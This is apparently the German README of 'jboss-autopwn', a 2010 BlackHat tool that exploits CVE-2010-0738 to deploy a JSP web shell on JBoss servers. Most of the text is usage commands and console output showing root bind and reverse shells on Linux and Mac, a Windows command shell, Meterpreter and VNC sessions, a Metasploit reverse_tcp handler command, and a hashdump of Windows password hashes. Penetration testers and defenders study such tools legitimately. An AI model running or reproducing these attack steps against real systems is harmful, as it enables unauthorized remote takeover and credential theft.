jboss-autopwn

JBoss Autopwn, wie auf der BlackHat Europe 2010 vorgestellt - diese Version enthält CVE-2010-0738, die JBoss-Authentifizierungsumgehungs-VERB-Manipulations-Schwachstelle, entdeckt von Minded Security

C. Papathanasiou 2010

EINLEITUNG

Dieses JBoss-Skript stellt eine JSP-Shell auf dem Ziel-JBoss-AS-Server bereit. Nach der Bereitstellung nutzt das Skript seine Upload- und Befehlsausführungsfunktion, um eine interaktive Sitzung bereitzustellen.

Zu den Funktionen gehören:

Multiplattform-Unterstützung - getestet auf Windows-, Linux- und Mac-Systemen
Unterstützung für Bind- und Reverse-Bind-Shells
Meterpreter-Shells und VNC-Unterstützung für Windows-Ziele

INSTALLATION

Abhängigkeiten umfassen

Netcat
Curl
Metasploit v3, installiert im aktuellen Pfad als "framework3"

VERWENDUNG

Verwenden Sie e.sh für *nix-Ziele, die bind_tcp und reverse_tcp verwenden

./e.sh Ziel-IP tcp_port

Verwenden Sie e2.sh für Windows-Ziele, die Metasploit-Windows-Payloads ausführen können

./e2.sh Ziel-IP tcp_port

BEISPIELE

[root@nitrogen jboss]# ./e.sh 192.168.1.2 8080 2>/dev/null [x] Retrieving cookie [x] Now creating BSH script... [x] .war file created successfully in /tmp [x] Now deploying .war file: http://192.168.1.2:8080/browser/browser/browser.jsp [x] Running as user...: uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) [x] Server uname...: Linux nitrogen 2.6.29.6-213.fc11.x86_64 #1 SMP Tue Jul 7 21:02:57 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux [!] Would you like to upload a reverse or a bind shell? bind [!] On which port would you like the bindshell to listen on? 31337 [x] Uploading bind shell payload.. [x] Verifying if upload was successful... -rwxrwxrwx 1 root root 172 2009-11-22 19:48 /tmp/payload [x] You should have a bind shell on 192.168.1.2:31337.. [x] Dropping you into a shell... Connection to 192.168.1.2 31337 port [tcp/*] succeeded! id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) python -c 'import pty; pty.spawn("/bin/bash")' [root@nitrogen /]# full interactive shell :-) Linux-Reverse-Shell: [root@nitrogen jboss]# nc -lv 31337 & [1] 15536 [root@nitrogen jboss]# ./e.sh 192.168.1.2 8080 2>/dev/null [x] Retrieving cookie [x] Now creating BSH script... [x] .war file created successfully in /tmp [x] Now deploying .war file: http://192.168.1.2:8080/browser/browser/browser.jsp [x] Running as user...: uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) [x] Server uname...: Linux nitrogen 2.6.29.6-213.fc11.x86_64 #1 SMP Tue Jul 7 21:02:57 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux [!] Would you like to upload a reverse or a bind shell? reverse [!] On which port would you like to accept the reverse shell on? 31337 [x] Uploading reverse shell payload.. [x] Verifying if upload was successful... -rwxrwxrwx 1 root root 157 2009-11-22 19:49 /tmp/payload Connection from 192.168.1.2 port 31337 [tcp/*] accepted [x] You should have a reverse shell on localhost:31337.. [root@nitrogen jboss]# jobs [1]+ Running nc -lv 31337 & [root@nitrogen jboss]# fg 1 nc -lv 31337 id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) python -c 'import pty; pty.spawn("/bin/bash")'; [root@nitrogen /]# full interactive tty :-) full interactive tty :-) Gegen MacOS X (Bind-Shell): [root@nitrogen jboss]# ./e.sh 192.168.1.5 8080 2>/dev/null [x] Retrieving cookie [x] Now creating BSH script... [x] .war file created successfully in /tmp [x] Now deploying .war file: http://192.168.1.5:8080/browser/browser/browser.jsp [x] Running as user...: uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),8(procview),29(certusers),3(sys),9(procmod),4(tty),5(operator),101(com.apple.sharepoint.group.1),80(admin),20(staff),102(com.apple.sharepoint.group.2) [x] Server uname...: Darwin helium-2.tiscali.co.uk 9.7.1 Darwin Kernel Version 9.7.1: Thu Apr 23 13:52:18 PDT 2009; root:xnu-1228.14.1~1/RELEASE_I386 i386 [!] Would you like to upload a reverse or a bind shell? bind [!] On which port would you like the bindshell to listen on? 31337 [x] Uploading bind shell payload.. [x] Verifying if upload was successful... -rwxrwxrwx 1 root wheel 172 22 Nov 19:58 /tmp/payload [x] You should have a bind shell on 192.168.1.5:31337.. [x] Dropping you into a shell... Connection to 192.168.1.5 31337 port [tcp/*] succeeded! id uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),8(procview),29(certusers),3(sys),9(procmod),4(tty),5(operator),101(com.apple.sharepoint.group.1),80(admin),20(staff),102(com.apple.sharepoint.group.2) python -c 'import pty; pty.spawn("/bin/bash")' bash-3.2# id id uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),8(procview),29(certusers),3(sys),9(procmod),4(tty),5(operator),101(com.apple.sharepoint.group.1),80(admin),20(staff),102(com.apple.sharepoint.group.2) bash-3.2# Gleiches gilt für die Reverse-Shell. Windows-Bind-Shell: [root@nitrogen jboss]# ./e2.sh 192.168.1.225 8080 2>/dev/null [x] Retrieving cookie [x] Now creating BSH script... [x] .war file created succesfully on c: [x] Now deploying .war file: [x] Web shell enabled!: http://192.168.1.225:8080/browserwin/browser/Browser.jsp [x] Server name...: Host Name . . . . . . . . . . . . : aquarius [x] Would you like a reverse or bind shell or vnc(bind)? bind [x] On which port would you like your bindshell to listen? 31337 [x] Uploading bindshell payload.. [x] Checking that bind shell was uploaded correctly.. [x] Bind shell uploaded: 22/11/2009 18:35 87,552 payload.exe [x] Now executing bind shell... [x] Executed bindshell! [x] Reverting to metasploit.... [*] Started bind handler [*] Starting the payload handler... [*] Command shell session 1 opened (192.168.1.2:60535 -> 192.168.1.225:31337) Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\chris\Desktop\jboss-4.2.3.GA\server\default\tmp\deploy\tmp8376972724011216327browserwin-exp.war> Windows-Reverse-Shell mit einem Metasploit-Meterpreter-Payload: [root@nitrogen jboss]# ./e2.sh 192.168.1.225 8080 2>/dev/null [x] Retrieving cookie [x] Now creating BSH script... [x] .war file created successfully on c: [x] Now deploying .war file: [x] Web shell enabled!: http://192.168.1.225:8080/browserwin/browser/Browser.jsp [x] Server name...: Host Name . . . . . . . . . . . . : aquarius [x] Would you like a reverse or bind shell or vnc(bind)? reverse [x] On which port would you like to accept your reverse shell? 31337 [x] Uploading reverseshell payload.. [x] Checking that the reverse shell was uploaded correctly.. [x] Reverse shell uploaded: 22/11/2009 18:46 87,552 payload.exe [x] You now have 20 seconds to launch metasploit before I send a reverse shell back.. ctrl-z, bg then type: framework3/msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=31337 E [x] Now executing reverse shell... [x] Executed reverse shell! [root@nitrogen jboss]# In Terminal 2: [root@nitrogen jboss]# framework3/msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=31337 E [*] Please wait while we load the module tree... [*] Started reverse handler on port 31337 [*] Starting the payload handler... [*] Sending stage (719360 bytes) [*] Meterpreter session 1 opened (192.168.1.2:31337 -> 192.168.1.225:1266) meterpreter > use priv Loading extension priv...success. meterpreter > hashdump Administrator:500:xxxxxxxxxxxxxxxxxxxxxxx:xxxxxxxxxxxxxxxxxxxxxxxxxx::: chris:1005:xxxxxxxxxxxxxxxxxxxxxx:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: HelpAssistant:1004:5cb061f95caf6a9dc7d1bb971b333632:4ac4ee4210529e17665db586df844736::: SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:293c804ee7b7f93b3919344842b9c98a::: __vmware_user__:1007:aad3b435b51404eeaad3b435b51404ee:a9fa3213d080de5533c7572775a149f5::: meterpreter > Windows-VNC-Shell: [root@nitrogen jboss]# ./e2.sh 192.168.1.225 8080 2>/dev/null [x] Retrieving cookie [x] Now creating BSH script... [x] .war file created successfully on c: [x] Now deploying .war file: [x] Web shell enabled!: http://192.168.1.225:8080/browserwin/browser/Browser.jsp [x] Server name...: Host Name . . . . . . . . . . . . : aquarius [x] Would you like a reverse or bind shell or vnc(bind)? vnc [x] On which port would you like your vnc shell to listen? 21 [x] Uploading vnc shell payload.. [x] Checking that vnc shell was uploaded correctly.. [x] vnc shell uploaded: 22/11/2009 19:14 87,552 payload.exe [x] Now executing vnc shell... [x] Executed vnc shell! [x] Reverting to metasploit.... [*] Started bind handler [*] Starting the payload handler... [*] Sending stage (197120 bytes) [*] Starting local TCP relay on 127.0.0.1:5900... [*] Local TCP relay started. [*] Launched vnciewer in the background. [*] VNC Server session 1 opened (192.168.1.2:52682 -> 192.168.1.225:21) [*] VNC connection closed. [root@nitrogen jboss]# >>VNC window opens here.. :-)

jboss-autopwn-1

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